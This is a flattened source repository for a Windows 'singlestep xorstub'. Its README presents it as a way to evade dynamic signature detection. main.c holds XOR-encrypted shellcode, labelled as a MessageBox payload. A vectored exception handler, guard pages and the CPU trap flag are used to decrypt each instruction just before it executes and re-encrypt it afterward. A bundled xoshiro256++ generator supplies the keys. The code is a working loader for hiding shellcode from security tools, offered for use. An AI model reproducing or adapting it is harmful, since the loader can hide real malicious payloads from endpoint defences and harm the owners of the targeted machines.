├── src ├── xoshiro.h ├── xoshiro.c └── main.c └── README.md /src/xoshiro.h: -------------------------------------------------------------------------------- 1 | #ifndef _XOSHIRO_H 2 | #define _XOSHIRO_H 3 | 4 | #include 5 | 6 | 7 | uint64_t next (void); 8 | void seed_generator (uint64_t *seeds); 9 | void jump (void); 10 | void long_jump (void); 11 | 12 | #endif // _XOSHIRO_H -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # singlestep xorstub 2 | 3 | ## What is it? 4 | 5 | A stub for decrypting shellcode and re-encrypting on the fly, useful for evading dynamic signature detection. 6 | 7 | ## How? 8 | 9 | By using the CPU trapflag utility, we can singlestep through code and perform operations in-between execution of instructions. We exploit that function to decrypt and encrypt code on the fly. -------------------------------------------------------------------------------- /src/xoshiro.c: -------------------------------------------------------------------------------- 1 | /* Written in 2019 by David Blackman and Sebastiano Vigna (vigna@acm.org) 2 | 3 | To the extent possible under law, the author has dedicated all copyright 4 | and related and neighboring rights to this software to the public domain 5 | worldwide. This software is distributed without any warranty. 6 | 7 | See . */ 8 | 9 | #include 10 | 11 | /* This is xoshiro256++ 1.0, one of our all-purpose, rock-solid generators. 12 | It has excellent (sub-ns) speed, a state (256 bits) that is large 13 | enough for any parallel application, and it passes all tests we are 14 | aware of. 15 | 16 | For generating just floating-point numbers, xoshiro256+ is even faster. 17 | 18 | The state must be seeded so that it is not everywhere zero. If you have 19 | a 64-bit seed, we suggest to seed a splitmix64 generator and use its 20 | output to fill s. */ 21 | 22 | static inline uint64_t 23 | rotl (const uint64_t x, int k) 24 | { 25 | return (x << k) | (x >> (64 - k)); 26 | } 27 | 28 | static uint64_t s[4]; 29 | 30 | void 31 | seed_generator (uint64_t *seeds) 32 | { 33 | s[0] = seeds[0]; 34 | s[1] = seeds[1]; 35 | s[2] = seeds[2]; 36 | s[3] = seeds[3]; 37 | } 38 | 39 | uint64_t 40 | next (void) 41 | { 42 | const uint64_t result = rotl (s[0] + s[3], 23) + s[0]; 43 | 44 | const uint64_t t = s[1] << 17; 45 | 46 | s[2] ^= s[0]; 47 | s[3] ^= s[1]; 48 | s[1] ^= s[2]; 49 | s[0] ^= s[3]; 50 | 51 | s[2] ^= t; 52 | 53 | s[3] = rotl (s[3], 45); 54 | 55 | return result; 56 | } 57 | 58 | /* This is the jump function for the generator. It is equivalent 59 | to 2^128 calls to next(); it can be used to generate 2^128 60 | non-overlapping subsequences for parallel computations. */ 61 | 62 | void 63 | jump (void) 64 | { 65 | static const uint64_t JUMP[] = { 0x180ec6d33cfd0aba, 0xd5a61266f0c9392c, 66 | 0xa9582618e03fc9aa, 0x39abdc4529b1661c }; 67 | 68 | uint64_t s0 = 0; 69 | uint64_t s1 = 0; 70 | uint64_t s2 = 0; 71 | uint64_t s3 = 0; 72 | for (int i = 0; i < sizeof JUMP / sizeof *JUMP; i++) 73 | for (int b = 0; b < 64; b++) 74 | { 75 | if (JUMP[i] & UINT64_C (1) << b) 76 | { 77 | s0 ^= s[0]; 78 | s1 ^= s[1]; 79 | s2 ^= s[2]; 80 | s3 ^= s[3]; 81 | } 82 | next (); 83 | } 84 | 85 | s[0] = s0; 86 | s[1] = s1; 87 | s[2] = s2; 88 | s[3] = s3; 89 | } 90 | 91 | /* This is the long-jump function for the generator. It is equivalent to 92 | 2^192 calls to next(); it can be used to generate 2^64 starting points, 93 | from each of which jump() will generate 2^64 non-overlapping 94 | subsequences for parallel distributed computations. */ 95 | 96 | void 97 | long_jump (void) 98 | { 99 | static const uint64_t LONG_JUMP[] 100 | = { 0x76e15d3efefdcbbf, 0xc5004e441c522fb3, 0x77710069854ee241, 101 | 0x39109bb02acbe635 }; 102 | 103 | uint64_t s0 = 0; 104 | uint64_t s1 = 0; 105 | uint64_t s2 = 0; 106 | uint64_t s3 = 0; 107 | for (int i = 0; i < sizeof LONG_JUMP / sizeof *LONG_JUMP; i++) 108 | for (int b = 0; b < 64; b++) 109 | { 110 | if (LONG_JUMP[i] & UINT64_C (1) << b) 111 | { 112 | s0 ^= s[0]; 113 | s1 ^= s[1]; 114 | s2 ^= s[2]; 115 | s3 ^= s[3]; 116 | } 117 | next (); 118 | } 119 | 120 | s[0] = s0; 121 | s[1] = s1; 122 | s[2] = s2; 123 | s[3] = s3; 124 | } -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | // for generating random numbers 8 | #include "xoshiro.h" 9 | 10 | #define TRAP_FLAG (1 << 8) 11 | #define STUB_SIZE 4096 12 | #if defined(_WIN32) && !defined(_WIN64) 13 | #define CURRENT_IP(x) x->ContextRecord->Eip 14 | #elif defined(_WIN64) 15 | #define CURRENT_IP(x) x->ContextRecord->Rip 16 | #else 17 | #error "ERROR: This singlestsep xor stub implementation is for Windows only!" 18 | #endif 19 | 20 | // i386 MessageBox shellcode 21 | char xored_shellcode[] 22 | = "\xc4\x53\xb3\x6a\xe4\x49\xf6\x12\xa3\x9d\xaa\x01\xc8\x20\x95\x8d\x2e" 23 | "\x9b\x0a\x80\xbf\x95\xad\x5e\x21\x36\x1f\x18\x0e\xf1\xe6\xeb\x4a\xf1" 24 | "\x99\x1e\x25\x49\xee\x49\x92\xd1\x88\x4b\x9e\x8a\xf9\xa1\x84\x75\x39" 25 | "\x3f\x5d\x4f\xe2\xcc\x91\x43\x06\x2b\x36\xe1\xdd\xae\xba\x35\x75\x74" 26 | "\x94\xc5\xdf\x10\x20\x93\xf6\xbc\xf8\xf4\x3d\x46\x51\xbf\x25\xdc\xc7" 27 | "\x36\x4e\x75\x67\xec\xf3\x4e\x90\xc7\x86\xca\x25\x25\x0e\xe4\x00\x53" 28 | "\xda\x02\x1c\xbb\xe0\x02\x27\x10\x92\x28\xce"; 29 | 30 | static uintptr_t stub = 0; 31 | static uintptr_t stub_end = 0; 32 | static uintptr_t last_ip = -1; 33 | static bool is_page_guarded = 0; 34 | static char *xor_block = 0; 35 | 36 | void 37 | xor_blocks (char *src, char *dst, size_t size) 38 | { 39 | for (size_t i = 0; i < size; i++) 40 | { 41 | dst[i] ^= src[i]; 42 | } 43 | } 44 | 45 | LONG WINAPI 46 | handler (EXCEPTION_POINTERS *exception) 47 | { 48 | uint64_t newkey[2]; 49 | 50 | switch (exception->ExceptionRecord->ExceptionCode) 51 | { 52 | case STATUS_SINGLE_STEP: 53 | stub_procedure: 54 | if (last_ip >= stub && last_ip < stub_end) 55 | { 56 | // we just executed a opcode inside the stub, so xor it again with current key 57 | xor_blocks (&xor_block[last_ip - stub], (char *)last_ip, 58 | min (15, stub_end - last_ip)); 59 | } 60 | 61 | if (CURRENT_IP (exception) >= stub 62 | && CURRENT_IP (exception) < stub_end) 63 | { 64 | // toggle singlestep for next instruction 65 | exception->ContextRecord->EFlags |= TRAP_FLAG; 66 | // save current ip 67 | last_ip = CURRENT_IP (exception); 68 | 69 | // decrypt current shellcode 70 | xor_blocks (&xor_block[last_ip - stub], (char *)last_ip, 71 | min (15, stub_end - CURRENT_IP (exception))); 72 | 73 | // generate new xor key for current opcode 74 | newkey[0] = next (); 75 | newkey[1] = next (); 76 | 77 | // move new keys to xorkey block 78 | memcpy (&xor_block[last_ip - stub], newkey, 79 | min (15, stub_end - CURRENT_IP (exception))); 80 | 81 | if (true == is_page_guarded 82 | && EXCEPTION_GUARD_PAGE 83 | != exception->ExceptionRecord->ExceptionCode) 84 | { 85 | DWORD old; 86 | VirtualProtect ( 87 | (LPVOID)stub, stub_end - stub, 88 | PAGE_EXECUTE_READWRITE | PAGE_GUARD, &old); 89 | } 90 | } 91 | else 92 | { 93 | // unset last ip 94 | last_ip = -1; 95 | } 96 | 97 | return EXCEPTION_CONTINUE_EXECUTION; 98 | case STATUS_ACCESS_VIOLATION: 99 | if (CURRENT_IP (exception) == 0x1337) 100 | { 101 | // begin singlestep stub 102 | CURRENT_IP (exception) = stub; 103 | goto stub_procedure; 104 | } 105 | break; 106 | case EXCEPTION_GUARD_PAGE: 107 | if (CURRENT_IP (exception) >= stub 108 | && CURRENT_IP (exception) < stub_end) 109 | { 110 | goto stub_procedure; 111 | } 112 | break; 113 | default: 114 | return EXCEPTION_CONTINUE_SEARCH; 115 | 116 | } 117 | 118 | return EXCEPTION_CONTINUE_SEARCH; 119 | } 120 | 121 | int 122 | main (int argc, char **argv) 123 | { 124 | PVOID exception_handler; 125 | 126 | uint64_t seeds[4] 127 | = { 0x12391818181, 0x83838102810, 0x8318041e801, 0xe81038013810 }; 128 | DWORD old; 129 | 130 | stub = (uintptr_t)VirtualAlloc (NULL, STUB_SIZE, MEM_COMMIT, 131 | PAGE_READWRITE); 132 | 133 | is_page_guarded = true; 134 | stub_end = stub + STUB_SIZE; 135 | 136 | memcpy ((void *)stub, xored_shellcode, sizeof (xored_shellcode) - 1); 137 | 138 | // activate PAGE_GUARD after we finished setting it up. 139 | VirtualProtect ((LPVOID)stub, stub_end - stub, 140 | PAGE_EXECUTE_READWRITE | PAGE_GUARD, &old); 141 | 142 | // register exception handler for catching singlesteps and exceptions 143 | exception_handler = AddVectoredExceptionHandler (1, &handler); 144 | 145 | xor_block = calloc (STUB_SIZE, sizeof (char)); 146 | 147 | // seed our random generator 148 | seed_generator (seeds); 149 | 150 | // fill xorkey block 151 | for (size_t i = 0; i < STUB_SIZE / sizeof (uint64_t); i++) 152 | { 153 | ((uint64_t *)xor_block)[i] = next (); 154 | } 155 | 156 | // throw exception on PAGE_GUARD access 157 | return ((int (*) (void))stub) (); 158 | } --------------------------------------------------------------------------------